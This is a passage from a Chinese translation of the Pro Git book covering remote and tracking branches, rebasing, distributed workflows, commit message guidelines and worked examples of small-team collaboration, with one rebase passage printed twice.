`origin/serverfix`，并指向服务器上 `serverfix` 所指向的版本：\n\n```\n$ git fetch origin\nremote: Counting objects: 20, done.\nremote: Compressing objects: 100% (14/14), done.\nremote: Total 15 (delta 5), reused 0 (delta 0)\nUnpacking objects: 100% (15/15), done.\nFrom git@github.com:schacon/simplegit\n * [new branch]      serverfix    -> origin/serverfix\n```\n\n值得注意的是，在 `fetch` 操作下载好新的远程分支之后，你仍然无法在本地编辑该远程仓库中的分支。换句话说，在本例中，你不会有一个新的 `serverfix` 分支，有的只是一个你无法移动的 `origin/serverfix` 指针。\n\n如果要把该远程分支的内容合并到当前分支，可以运行 `git merge origin/serverfix`。如果想要一份自己的 `serverfix` 来开发，可以在远程分支的基础上分化出一个新的分支来：\n\n```\n$ git checkout -b serverfix origin/serverfix\nBranch serverfix set up to track remote branch serverfix from origin.\nSwitched to a new branch 'serverfix'\n```\n\n这会切换到新建的 `serverfix` 本地分支，其内容同远程分支 `origin/serverfix` 一致，这样你就可以在里面继续开发了。\n\n### 跟踪远程分支\n\n从远程分支 `checkout` 出来的本地分支，称为 *跟踪分支* (tracking branch)。跟踪分支是一种和某个远程分支有直接联系的本地分支。在跟踪分支里输入 `git push`，Git 会自行推断应该向哪个服务器的哪个分支推送数据。同样，在这些分支里运行 `git pull` 会获取所有远程索引，并把它们的数据都合并到本地分支中来。\n\n在克隆仓库时，Git 通常会自动创建一个名为 `master` 的分支来跟踪 `origin/master`。这正是 `git push` 和 `git pull` 一开始就能正常工作的原因。当然，你可以随心所欲地设定为其它跟踪分支，比如 `origin` 上除了 `master`之外的其它分支。刚才我们已经看到了这样的一个例子：`git checkout -b [分支名] [远程名]/[分支名]`。如果你有 1.6.2 以上版本的 Git，还可以用 `--track` 选项简化：\n\n```\n$ git checkout --track origin/serverfix\nBranch serverfix set up to track remote branch serverfix from origin.\nSwitched to a new branch 'serverfix'\n```\n\n要为本地分支设定不同于远程分支的名字，只需在第一个版本的命令里换个名字：\n\n```\n$ git checkout -b sf origin/serverfix\nBranch sf set up to track remote branch serverfix from origin.\nSwitched to a new branch 'sf'\n```\n\n现在你的本地分支 `sf` 会自动将推送和抓取数据的位置定位到 `origin/serverfix` 了。\n\n### 删除远程分支\n\n如果不再需要某个远程分支了，比如搞定了某个特性并把它合并进了远程的 `master` 分支（或任何其他存放稳定代码的分支），可以用这个非常无厘头的语法来删除它：`git push [远程名] :[分支名]`。如果想在服务器上删除 `serverfix` 分支，运行下面的命令：\n\n```\n$ git push origin :serverfix\nTo git@github.com:schacon/simplegit.git\n - [deleted]         serverfix\n```\n\n咚！服务器上的分支没了。你最好特别留心这一页，因为你一定会用到那个命令，而且你很可能会忘掉它的语法。有种方便记忆这条命令的方法：记住我们不久前见过的 `git push [远程名] [本地分支]:[远程分支]` 语法，如果省略 `[本地分支]`，那就等于是在说“在这里提取空白然后把它变成`[远程分支]`”。\n\n\n\n## 分支的衍合\n\n把一个分支中的修改整合到另一个分支的办法有两种：`merge` 和 `rebase`（译注：`rebase` 的翻译暂定为“衍合”，大家知道就可以了。）。在本章我们会学习什么是衍合，如何使用衍合，为什么衍合操作如此富有魅力，以及我们应该在什么情况下使用衍合。\n\n### 基本的衍合操作\n\n请回顾之前有关合并的一节（见图 3-27），你会看到开发进程分叉到两个不同分支，又各自提交了更新。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0327-tn.png)\n图 3-27. 最初分叉的提交历史。\n\n之前介绍过，最容易的整合分支的方法是 `merge` 命令，它会把两个分支最新的快照（C3 和 C4）以及二者最新的共同祖先（C2）进行三方合并，合并的结果是产生一个新的提交对象（C5）。如图 3-28 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0328-tn.png)\n\n\n\n\n\n图 3-28. 通过合并一个分支来整合分叉了的历史。\n\n其实，还有另外一个选择：你可以把在 C3 里产生的变化补丁在 C4 的基础上重新打一遍。在 Git 里，这种操作叫做*衍合（rebase）*。有了 `rebase` 命令，就可以把在一个分支里提交的改变移到另一个分支里重放一遍。\n\n在上面这个例子中，运行：\n\n```\n$ git checkout experiment\n$ git rebase master\nFirst, rewinding head to replay your work on top of it...\nApplying: added staged command\n```\n\n它的原理是回到两个分支最近的共同祖先，根据当前分支（也就是要进行衍合的分支 `experiment`）后续的历次提交对象（这里只有一个 C3），生成一系列文件补丁，然后以基底分支（也就是主干分支 `master`）最后一个提交对象（C4）为新的出发点，逐个应用之前准备好的补丁文件，最后会生成一个新的合并提交对象（C3'），从而改写 `experiment` 的提交历史，使它成为 `master` 分支的直接下游，如图 3-29 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0329-tn.png)\n图 3-29. 把 C3 里产生的改变到 C4 上重演一遍。\n\n现在回到 `master` 分支，进行一次快进合并（见图 3-30）：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0330-tn.png)\n\n图 3-30. master 分支的快进。\n\n现在的 C3' 对应的快照，其实和普通的三方合并，即上个例子中的 C5 对应的快照内容一模一样了。虽然最后整合得到的结果没有任何区别，但衍合能产生一个更为整洁的提交历史。如果视察一个衍合过的分支的历史记录，看起来会更清楚：仿佛所有修改都是在一根线上先后进行的，尽管实际上它们原本是同时并行发生的。\n\n一般我们使用衍合的目的，是想要得到一个能在远程分支上干净应用的补丁 — 比如某些项目你不是维护者，但想帮点忙的话，最好用衍合：先在自己的一个分支里进行开发，当准备向主项目提交补丁的时候，根据最新的 `origin/master` 进行一次衍合操作然后再提交，这样维护者就不需要做任何整合工作（译注：实际上是把解决分支补丁同最新主干代码之间冲突的责任，化转为由提交补丁的人来解决。），只需根据你提供的仓库地址作一次快进合并，或者直接采纳你提交的补丁。\n\n请注意，合并结果中最后一次提交所指向的快照，无论是通过衍合，还是三方合并，都会得到相同的快照内容，只不过提交历史不同罢了。衍合是按照每行的修改次序重演一遍修改，而合并是把最终结果合在一起。\n\n### 有趣的衍合\n\n衍合也可以放到其他分支进行，并不一定非得根据分化之前的分支。以图 3-31 的历史为例，我们为了给服务器端代码添加一些功能而创建了特性分支 `server`，然后提交 C3 和 C4。然后又从 C3 的地方再增加一个 `client` 分支来对客户端代码进行一些相应修改，所以提交了 C8 和 C9。最后，又回到 `server` 分支提交了 C10。\n\n\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0331-tn.png)\n图 3-31. 从一个特性分支里再分出一个特性分支的历史。\n\n假设在接下来的一次软件发布中，我们决定先把客户端的修改并到主线中，而暂缓并入服务端软件的修改（因为还需要进一步测试）。这个时候，我们就可以把基于 `client` 分支而非 `server` 分支的改变（即 C8 和 C9），跳过 `server` 直接放到 `master` 分支中重演一遍，但这需要用 `git rebase` 的 `--onto` 选项指定新的基底分支 `master`：\n\n```shell\n$ git rebase --onto master server client\n```\n\n这好比在说：“取出 `client` 分支，找出 `client` 分支和 `server` 分支的共同祖先之后的变化，然后把它们在 `master` 上重演一遍”。是不是有点复杂？不过它的结果如图 3-32 所示，非常酷（译注：虽然 `client` 里的 C8, C9 在 C3 之后，但这仅表明时间上的先后，而非在 C3 修改的基础上进一步改动，因为 `server` 和 `client` 这两个分支对应的代码应该是两套文件，虽然这么说不是很严格，但应理解为在 C3 时间点之后，对另外的文件所做的 C8，C9 修改，放到主干重演。）：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0332-tn.png)\n图 3-32. 将特性分支上的另一个特性分支衍合到其他分支。\n\n现在可以快进 `master` 分支了（见图 3-33）：\n\n```shell\n$ git checkout master\n$ git merge client\n```\n\n\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0333-tn.png)\n图 3-33. 快进 master 分支，使之包含 client 分支的变化。\n\n现在我们决定把 `server` 分支的变化也包含进来。我们可以直接把 `server` 分支衍合到 `master`，而不用手工切换到 `server` 分支后再执行衍合操作 — `git rebase [主分支] [特性分支]` 命令会先取出特性分支 `server`，然后在主分支 `master` 上重演：\n\n```shell\n$ git rebase master server\n```\n\n于是，`server` 的进度应用到 `master` 的基础上，如图 3-34 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0334-tn.png)\n图 3-34. 在 master 分支上衍合 server 分支。\n\n然后就可以快进主干分支 `master` 了：\n\n```shell\n$ git checkout master\n$ git merge server\n```\n\n现在 `client` 和 `server` 分支的变化都已经集成到主干分支来了，可以删掉它们了。最终我们的提交历史会变成图 3-35 的样子：\n\n```shell\n$ git branch -d client\n$ git branch -d server\n```\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0335-tn.png)\n\n\n\n图 3-34. 在 master 分支上衍合 server 分支。\n\n然后就可以快进主干分支 `master` 了：\n\n```\n$ git checkout master\n$ git merge server\n```\n\n现在 `client` 和 `server` 分支的变化都已经集成到主干分支来了，可以删掉它们了。最终我们的提交历史会变成图 3-35 的样子：\n\n```\n$ git branch -d client\n$ git branch -d server\n```\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0335-tn.png)\n图 3-35. 最终的提交历史\n\n### 衍合的风险\n\n呃，奇妙的衍合也并非完美无缺，要用它得遵守一条准则：\n\n**一旦分支中的提交对象发布到公共仓库，就千万不要对该分支进行衍合操作。**\n\n如果你遵循这条金科玉律，就不会出差错。否则，人民群众会仇恨你，你的朋友和家人也会嘲笑你，唾弃你。\n\n在进行衍合的时候，实际上抛弃了一些现存的提交对象而创造了一些类似但不同的新的提交对象。如果你把原来分支中的提交对象发布出去，并且其他人更新下载后在其基础上开展工作，而稍后你又用 `git rebase` 抛弃这些提交对象，把新的重演后的提交对象发布出去的话，你的合作者就不得不重新合并他们的工作，这样当你再次从他们那里获取内容时，提交历史就会变得一团糟。\n\n\n\n\n\n\n\n----\n\n\n\n## 分布式工作流程\n\n同传统的集中式版本控制系统（CVCS）不同，开发者之间的协作方式因着 Git 的分布式特性而变得更为灵活多样。在集中式系统上，每个开发者就像是连接在集线器上的节点，彼此的工作方式大体相像。而在 Git 网络中，每个开发者同时扮演着节点和集线器的角色，这就是说，每一个开发者都可以将自己的代码贡献到另外一个开发者的仓库中，或者建立自己的公共仓库，让其他开发者基于自己的工作开始，为自己的仓库贡献代码。于是，Git 的分布式协作便可以衍生出种种不同的工作流程，我会在接下来的章节介绍几种常见的应用方式，并分别讨论各自的优缺点。你可以选择其中的一种，或者结合起来，应用到你自己的项目中。\n\n### 集中式工作流\n\n通常，集中式工作流程使用的都是单点协作模型。一个存放代码仓库的中心服务器，可以接受所有开发者提交的代码。所有的开发者都是普通的节点，作为中心集线器的消费者，平时的工作就是和中心仓库同步数据（见图 5-1）。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0501-tn.png)\n图 5-1. 集中式工作流\n\n如果两个开发者从中心仓库克隆代码下来，同时作了一些修订，那么只有第一个开发者可以顺利地把数据推送到共享服务器。第二个开发者在提交他的修订之前，必须先下载合并服务器上的数据，解决冲突之后才能推送数据到共享服务器上。在 Git 中这么用也决无问题，这就好比是在用 Subversion（或其他 CVCS）一样，可以很好地工作。\n\n如果你的团队不是很大，或者大家都已经习惯了使用集中式工作流程，完全可以采用这种简单的模式。只需要配置好一台中心服务器，并给每个人推送数据的权限，就可以开展工作了。但如果提交代码时有冲突， Git 根本就不会让用户覆盖他人代码，它直接驳回第二个人的提交操作。这就等于告诉提交者，你所作的修订无法通过快进（fast-forward）来合并，你必须先拉取最新数据下来，手工解决冲突合并后，才能继续推送新的提交。 绝大多数人都熟悉和了解这种模式的工作方式，所以使用也非常广泛。\n\n### 集成管理员工作流\n\n由于 Git 允许使用多个远程仓库，开发者便可以建立自己的公共仓库，往里面写数据并共享给他人，而同时又可以从别人的仓库中提取他们的更新过来。这种情形通常都会有个代表着官方发布的项目仓库（blessed repository），开发者们由此仓库克隆出一个自己的公共仓库（developer public），然后将自己的提交推送上去，请求官方仓库的维护者拉取更新合并到主项目。维护者在自己的本地也有个克隆仓库（integration manager），他可以将你的公共仓库作为远程仓库添加进来，经过测试无误后合并到主干分支，然后再推送到官方仓库。工作流程看起来就像图 5-2 所示：\n\n1. 项目维护者可以推送数据到公共仓库 blessed repository。\n2. 贡献者克隆此仓库，修订或编写新代码。\n3. 贡献者推送数据到自己的公共仓库 developer public。\n4. 贡献者给维护者发送邮件，请求拉取自己的最新修订。\n5. 维护者在自己本地的 integration manger 仓库中，将贡献者的仓库加为远程仓库，合并更新并做测试。\n6. 维护者将合并后的更新推送到主仓库 blessed repository。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0502-tn.png)\n图 5-2. 集成管理员工作流\n\n在 GitHub 网站上使用得最多的就是这种工作流。人们可以复制（fork 亦即克隆）某个项目到自己的列表中，成为自己的公共仓库。随后将自己的更新提交到这个仓库，所有人都可以看到你的每次更新。这么做最主要的优点在于，你可以按照自己的节奏继续工作，而不必等待维护者处理你提交的更新；而维护者也可以按照自己的节奏，任何时候都可以过来处理接纳你的贡献。\n\n### 司令官与副官工作流\n\n这其实是上一种工作流的变体。一般超大型的项目才会用到这样的工作方式，像是拥有数百协作开发者的 Linux 内核项目就是如此。各个集成管理员分别负责集成项目中的特定部分，所以称为副官（lieutenant）。而所有这些集成管理员头上还有一位负责统筹的总集成管理员，称为司令官（dictator）。司令官维护的仓库用于提供所有协作者拉取最新集成的项目代码。整个流程看起来如图 5-3 所示：\n\n1. 一般的开发者在自己的特性分支上工作，并不定期地根据主干分支（dictator 上的 master）衍合。\n2. 副官（lieutenant）将普通开发者的特性分支合并到自己的 master 分支中。\n3. 司令官（dictator）将所有副官的 master 分支并入自己的 master 分支。\n4. 司令官（dictator）将集成后的 master 分支推送到共享仓库 blessed repository 中，以便所有其他开发者以此为基础进行衍合。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0503-tn.png)\n图 5-3. 司令官与副官工作流\n\n这种工作流程并不常用，只有当项目极为庞杂，或者需要多级别管理时，才会体现出优势。利用这种方式，项目总负责人（即司令官）可以把大量分散的集成工作委托给不同的小组负责人分别处理，最后再统筹起来，如此各人的职责清晰明确，也不易出错（译注：此乃分而治之）。\n\n以上介绍的是常见的分布式系统可以应用的工作流程，当然不止于 Git。在实际的开发工作中，你可能会遇到各种为了满足特定需求而有所变化的工作方式。我想现在你应该已经清楚，接下来自己需要用哪种方式开展工作了。下节我还会再举些例子，看看各式工作流中的每个角色具体应该如何操作。\n\n\n\n\n\n## 为项目作贡献\n\n接下来，我们来学习一下作为项目贡献者，会有哪些常见的工作模式。\n\n不过要说清楚整个协作过程真的很难，Git 如此灵活，人们的协作方式便可以各式各样，没有固定不变的范式可循，而每个项目的具体情况又多少会有些不同，比如说参与者的规模，所选择的工作流程，每个人的提交权限，以及 Git 以外贡献等等，都会影响到具体操作的细节。\n\n首当其冲的是参与者规模。项目中有多少开发者是经常提交代码的？经常又是多久呢？大多数两至三人的小团队，一天大约只有几次提交，如果不是什么热门项目的话就更少了。可要是在大公司里，或者大项目中，参与者可以多到上千，每天都会有十几个上百个补丁提交上来。这种差异带来的影响是显著的，越是多的人参与进来，就越难保证每次合并正确无误。你正在工作的代码，可能会因为合并进来其他人的更新而变得过时，甚至受创无法运行。而已经提交上去的更新，也可能在等着审核合并的过程中变得过时。那么，我们该怎样做才能确保代码是最新的，提交的补丁也是可用的呢？\n\n接下来便是项目所采用的工作流。是集中式的，每个开发者都具有等同的写权限？项目是否有专人负责检查所有补丁？是不是所有补丁都做过同行复阅（peer-review）再通过审核的？你是否参与审核过程？如果使用副官系统，那你是不是限定于只能向此副官提交？\n\n还有你的提交权限。有或没有向主项目提交更新的权限，结果完全不同，直接决定最终采用怎样的工作流。如果不能直接提交更新，那该如何贡献自己的代码呢？是不是该有个什么策略？你每次贡献代码会有多少量？提交频率呢？\n\n所有以上这些问题都会或多或少影响到最终采用的工作流。接下来，我会在一系列由简入繁的具体用例中，逐一阐述。此后在实践时，应该可以借鉴这里的例子，略作调整，以满足实际需要构建自己的工作流。\n\n### 提交指南\n\n开始分析特定用例之前，先来了解下如何撰写提交说明。一份好的提交指南可以帮助协作者更轻松更有效地配合。Git 项目本身就提供了一份文档（Git 项目源代码目录中 `Documentation/SubmittingPatches`），列数了大量提示，从如何编撰提交说明到提交补丁，不一而足。\n\n首先，请不要在更新中提交多余的白字符（whitespace）。Git 有种检查此类问题的方法，在提交之前，先运行 `git diff --check`，会把可能的多余白字符修正列出来。下面的示例，我已经把终端中显示为红色的白字符用 `X` 替换掉：\n\n```\n$ git diff --check\nlib/simplegit.rb:5: trailing whitespace.\n+    @git_dir = File.expand_path(git_dir)XX\nlib/simplegit.rb:7: trailing whitespace.\n+ XXXXXXXXXXX\nlib/simplegit.rb:26: trailing whitespace.\n+    def command(git_cmd)XXXX\n```\n\n这样在提交之前你就可以看到这类问题，及时解决以免困扰其他开发者。\n\n接下来，请将每次提交限定于完成一次逻辑功能。并且可能的话，适当地分解为多次小更新，以便每次小型提交都更易于理解。请不要在周末穷追猛打一次性解决五个问题，而最后拖到周一再提交。就算是这样也请尽可能利用暂存区域，将之前的改动分解为每次修复一个问题，再分别提交和加注说明。如果针对两个问题改动的是同一个文件，可以试试看 `git add --patch` 的方式将部分内容置入暂存区域（我们会在第六章再详细介绍）。无论是五次小提交还是混杂在一起的大提交，最终分支末端的项目快照应该还是一样的，但分解开来之后，更便于其他开发者复阅。这么做也方便自己将来取消某个特定问题的修复。我们将在第六章介绍一些重写提交历史，同暂存区域交互的技巧和工具，以便最终得到一个干净有意义，且易于理解的提交历史。\n\n最后需要谨记的是提交说明的撰写。写得好可以让大家协作起来更轻松。一般来说，提交说明最好限制在一行以内，50 个字符以下，简明扼要地描述更新内容，空开一行后，再展开详细注解。Git 项目本身需要开发者撰写详尽注解，包括本次修订的因由，以及前后不同实现之间的比较，我们也该借鉴这种做法。另外，提交说明应该用祈使现在式语态，比如，不要说成 “I added tests for” 或 “Adding tests for” 而应该用 “Add tests for”。 下面是来自 tpope.net 的 Tim Pope 原创的提交说明格式模版，供参考：\n\n```\n本次更新的简要描述（50 个字符以内）\n\n如果必要，此处展开详尽阐述。段落宽度限定在 72 个字符以内。\n某些情况下，第一行的简要描述将用作邮件标题，其余部分作为邮件正文。\n其间的空行是必要的，以区分两者（当然没有正文另当别论）。\n如果并在一起，rebase 这样的工具就可能会迷惑。\n\n另起空行后，再进一步补充其他说明。\n\n - 可以使用这样的条目列举式。\n\n - 一般以单个空格紧跟短划线或者星号作为每项条目的起始符。每个条目间用一空行隔开。\n   不过这里按自己项目的约定，可以略作变化。\n```\n\n如果你的提交说明都用这样的格式来书写，好多事情就可以变得十分简单。Git 项目本身就是这样要求的，我强烈建议你到 Git 项目仓库下运行 `git log --no-merges` 看看，所有提交历史的说明是怎样撰写的。（译注：如果现在还没有克隆 git 项目源代码，是时候 `git clone git://git.kernel.org/pub/scm/git/git.git` 了。）\n\n为简单起见，在接下来的例子（及本书随后的所有演示）中，我都不会用这种格式，而使用 `-m` 选项提交 `git commit`。不过请还是按照我之前讲的做，别学我这里偷懒的方式。\n\n### 私有的小型团队\n\n我们从最简单的情况开始，一个私有项目，与你一起协作的还有另外一到两位开发者。这里说私有，是指源代码不公开，其他人无法访问项目仓库。而你和其他开发者则都具有推送数据到仓库的权限。\n\n这种情况下，你们可以用 Subversion 或其他集中式版本控制系统类似的工作流来协作。你仍然可以得到 Git 带来的其他好处：离线提交，快速分支与合并等等，但工作流程还是差不多的。主要区别在于，合并操作发生在客户端而非服务器上。 让我们来看看，两个开发者一起使用同一个共享仓库，会发生些什么。第一个人，John，克隆了仓库，作了些更新，在本地提交。（下面的例子中省略了常规提示，用 `...` 代替以节约版面。）\n\n```\n# John's Machine\n$ git clone john@githost:simplegit.git\nInitialized empty Git repository in /home/john/simplegit/.git/\n...\n$ cd simplegit/\n$ vim lib/simplegit.rb\n$ git commit -am 'removed invalid default value'\n[master 738ee87] removed invalid default value\n 1 files changed, 1 insertions(+), 1 deletions(-)\n```\n\n第二个开发者，Jessica，一样这么做：克隆仓库，提交更新：\n\n```\n# Jessica's Machine\n$ git clone jessica@githost:simplegit.git\nInitialized empty Git repository in /home/jessica/simplegit/.git/\n...\n$ cd simplegit/\n$ vim TODO\n$ git commit -am 'add reset task'\n[master fbff5bc] add reset task\n 1 files changed, 1 insertions(+), 0 deletions(-)\n```\n\n现在，Jessica 将她的工作推送到服务器上：\n\n```\n# Jessica's Machine\n$ git push origin master\n...\nTo jessica@githost:simplegit.git\n   1edee6b..fbff5bc  master -> master\n```\n\nJohn 也尝试推送自己的工作上去：\n\n```\n# John's Machine\n$ git push origin master\nTo john@githost:simplegit.git\n ! [rejected]        master -> master (non-fast forward)\nerror: failed to push some refs to 'john@githost:simplegit.git'\n```\n\nJohn 的推送操作被驳回，因为 Jessica 已经推送了新的数据上去。请注意，特别是你用惯了 Subversion 的话，这里其实修改的是两个文件，而不是同一个文件的同一个地方。Subversion 会在服务器端自动合并提交上来的更新，而 Git 则必须先在本地合并后才能推送。于是，John 不得不先把 Jessica 的更新拉下来：\n\n```\n$ git fetch origin\n...\nFrom john@githost:simplegit\n + 049d078...fbff5bc master     -> origin/master\n```\n\n此刻，John 的本地仓库如图 5-4 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0504-tn.png)\n图 5-4. John 的仓库历史\n\n虽然 John 下载了 Jessica 推送到服务器的最近更新（fbff5），但目前只是 `origin/master` 指针指向它，而当前的本地分支 `master` 仍然指向自己的更新（738ee），所以需要先把她的提交合并过来，才能继续推送数据：\n\n```\n$ git merge origin/master\nMerge made by recursive.\n TODO |    1 +\n 1 files changed, 1 insertions(+), 0 deletions(-)\n```\n\n还好，合并过程非常顺利，没有冲突，现在 John 的提交历史如图 5-5 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0505-tn.png)\n图 5-5. 合并 origin/master 后 John 的仓库历史\n\n现在，John 应该再测试一下代码是否仍然正常工作，然后将合并结果（72bbc）推送到服务器上：\n\n```\n$ git push origin master\n...\nTo john@githost:simplegit.git\n   fbff5bc..72bbc59  master -> master\n```\n\n最终，John 的提交历史变为图 5-6 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0506-tn.png)\n图 5-6. 推送后 John 的仓库历史\n\n而在这段时间，Jessica 已经开始在另一个特性分支工作了。她创建了 `issue54` 并提交了三次更新。她还没有下载 John 提交的合并结果，所以提交历史如图 5-7 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0507-tn.png)\n图 5-7. Jessica 的提交历史\n\nJessica 想要先和服务器上的数据同步，所以先下载数据：\n\n```\n# Jessica's Machine\n$ git fetch origin\n...\nFrom jessica@githost:simplegit\n   fbff5bc..72bbc59  master     -> origin/master\n```\n\n于是 Jessica 的本地仓库历史多出了 John 的两次提交（738ee 和 72bbc），如图 5-8 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0508-tn.png)\n图 5-8. 获取 John 的更新之后 Jessica 的提交历史\n\n此时，Jessica 在特性分支上的工作已经完成，但她想在推送数据之前，先确认下要并进来的数据究竟是什么，于是运行 `git log` 查看：\n\n```\n$ git log --no-merges origin/master ^issue54\ncommit 738ee872852dfaa9d6634e0dea7a324040193016\nAuthor: John Smith <jsmith@example.com>\nDate:   Fri May 29 16:01:27 2009 -0700\n\n    removed invalid default value\n```\n\n现在，Jessica 可以将特性分支上的工作并到 `master` 分支，然后再并入 John 的工作（`origin/master`）到自己的 `master` 分支，最后再推送回服务器。当然，得先切回主分支才能集成所有数据：\n\n```\n$ git checkout master\nSwitched to branch \"master\"\nYour branch is behind 'origin/master' by 2 commits, and can be fast-forwarded.\n```\n\n要合并 `origin/master` 或 `issue54` 分支，谁先谁后都没有关系，因为它们都在上游（upstream）（译注：想像分叉的更新像是汇流成河的源头，所以上游 upstream 是指最新的提交），所以无所谓先后顺序，最终合并后的内容快照都是一样的，而仅是提交历史看起来会有些先后差别。Jessica 选择先合并 `issue54`：\n\n```\n$ git merge issue54\nUpdating fbff5bc..4af4298\nFast forward\n README           |    1 +\n lib/simplegit.rb |    6 +++++-\n 2 files changed, 6 insertions(+), 1 deletions(-)\n```\n\n正如所见，没有冲突发生，仅是一次简单快进。现在 Jessica 开始合并 John 的工作（`origin/master`）：\n\n```\n$ git merge origin/master\nAuto-merging lib/simplegit.rb\nMerge made by recursive.\n lib/simplegit.rb |    2 +-\n 1 files changed, 1 insertions(+), 1 deletions(-)\n```\n\n所有的合并都非常干净。现在 Jessica 的提交历史如图 5-9 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0509-tn.png)\n图 5-9. 合并 John 的更新后 Jessica 的提交历史\n\n现在 Jessica 已经可以在自己的 `master` 分支中访问 `origin/master` 的最新改动了，所以她应该可以成功推送最后的合并结果到服务器上（假设 John 此时没再推送新数据上来）：\n\n```\n$ git push origin master\n...\nTo jessica@githost:simplegit.git\n   72bbc59..8059c15  master -> master\n```\n\n至此，每个开发者都提交了若干次，且成功合并了对方的工作成果，最新的提交历史如图 5-10 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0510-tn.png)\n图 5-10. Jessica 推送数据后的提交历史\n\n以上就是最简单的协作方式之一：先在自己的特性分支中工作一段时间，完成后合并到自己的 `master` 分支；然后下载合并 `origin/master` 上的更新（如果有的话），再推回远程服务器。一般的协作流程如图 5-11 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0511-tn.png)\n图 5-11. 多用户共享仓库协作方式的一般工作流程时序\n\n### 私有团队间协作\n\n现在我们来看更大一点规模的私有团队协作。如果有几个小组分头负责若干特性的开发和集成，那他们之间的协作过程是怎样的。\n\n假设 John 和 Jessica 一起负责开发某项特性 A，而同时 Jessica 和 Josie 一起负责开发另一项功能 B。公司使用典型的集成管理员式工作流，每个组都有一名管理员负责集成本组代码，及更新项目主仓库的 `master` 分支。所有开发都在代表小组的分支上进行。\n\n让我们跟随 Jessica 的视角看看她的工作流程。她参与开发两项特性，同时和不同小组的开发者一起协作。克隆生成本地仓库后，她打算先着手开发特性 A。于是创建了新的 `featureA` 分支，继而编写代码：\n\n```\n# Jessica's Machine\n$ git checkout -b featureA\nSwitched to a new branch \"featureA\"\n$ vim lib/simplegit.rb\n$ git commit -am 'add limit to log function'\n[featureA 3300904] add limit to log function\n 1 files changed, 1 insertions(+), 1 deletions(-)\n```\n\n此刻，她需要分享目前的进展给 John，于是她将自己的 `featureA` 分支提交到服务器。由于 Jessica 没有权限推送数据到主仓库的 `master` 分支（只有集成管理员有此权限），所以只能将此分支推上去同 John 共享协作：\n\n```\n$ git push origin featureA\n...\nTo jessica@githost:simplegit.git\n * [new branch]      featureA -> featureA\n```\n\nJessica 发邮件给 John 让他上来看看 `featureA` 分支上的进展。在等待他的反馈之前，Jessica 决定继续工作，和 Josie 一起开发 `featureB` 上的特性 B。当然，先创建此分支，分叉点以服务器上的 `master` 为起点：\n\n```\n# Jessica's Machine\n$ git fetch origin\n$ git checkout -b featureB origin/master\nSwitched to a new branch \"featureB\"\n```\n\n随后，Jessica 在 `featureB` 上提交了若干更新：\n\n```\n$ vim lib/simplegit.rb\n$ git commit -am 'made the ls-tree function recursive'\n[featureB e5b0fdc] made the ls-tree function recursive\n 1 files changed, 1 insertions(+), 1 deletions(-)\n$ vim lib/simplegit.rb\n$ git commit -am 'add ls-files'\n[featureB 8512791] add ls-files\n 1 files changed, 5 insertions(+), 0 deletions(-)\n```\n\n现在 Jessica 的更新历史如图 5-12 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0512-tn.png)\n图 5-12. Jessica 的更新历史\n\nJessica 正准备推送自己的进展上去，却收到 Josie 的来信，说是她已经将自己的工作推到服务器上的 `featureBee`分支了。这样，Jessica 就必须先将 Josie 的代码合并到自己本地分支中，才能再一起推送回服务器。她用 `git fetch` 下载 Josie 的最新代码：\n\n```\n$ git fetch origin\n...\nFrom jessica@githost:simplegit\n * [new branch]      featureBee -> origin/featureBee\n```\n\n然后 Jessica 使用 `git merge` 将此分支合并到自己分支中：\n\n```\n$ git merge origin/featureBee\nAuto-merging lib/simplegit.rb\nMerge made by recursive.\n lib/simplegit.rb |    4 ++++\n 1 files changed, 4 insertions(+), 0 deletions(-)\n```\n\n合并很顺利，但另外有个小问题：她要推送自己的 `featureB` 分支到服务器上的 `featureBee` 分支上去。当然，她可以使用冒号（:）格式指定目标分支：\n\n```\n$ git push origin featureB:featureBee\n...\nTo jessica@githost:simplegit.git\n   fba9af8..cd685d1  featureB -> featureBee\n```\n\n我们称此为*refspec*。更多有关于 Git refspec 的讨论和使用方式会在第九章作详细阐述。\n\n接下来，John 发邮件给 Jessica 告诉她，他看了之后作了些修改，已经推回服务器 `featureA` 分支，请她过目下。于是 Jessica 运行 `git fetch` 下载最新数据：\n\n```\n$ git fetch origin\n...\nFrom jessica@githost:simplegit\n   3300904..aad881d  featureA   -> origin/featureA\n```\n\n接下来便可以用 `git log` 查看更新了些什么：\n\n```\n$ git log origin/featureA ^featureA\ncommit aad881d154acdaeb2b6b18ea0e827ed8a6d671e6\nAuthor: John Smith <jsmith@example.com>\nDate:   Fri May 29 19:57:33 2009 -0700\n\n    changed log output to 30 from 25\n```\n\n最后，她将 John 的工作合并到自己的 `featureA` 分支中：\n\n```\n$ git checkout featureA\nSwitched to branch \"featureA\"\n$ git merge origin/featureA\nUpdating 3300904..aad881d\nFast forward\n lib/simplegit.rb |   10 +++++++++-\n1 files changed, 9 insertions(+), 1 deletions(-)\n```\n\nJessica 稍做一番修整后同步到服务器：\n\n```\n$ git commit -am 'small tweak'\n[featureA 774b3ed] small tweak\n 1 files changed, 1 insertions(+), 1 deletions(-)\n$ git push origin featureA\n...\nTo jessica@githost:simplegit.git\n   3300904..774b3ed  featureA -> featureA\n```\n\n现在的 Jessica 提交历史如图 5-13 所示：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0513-tn.png)\n图 5-13. 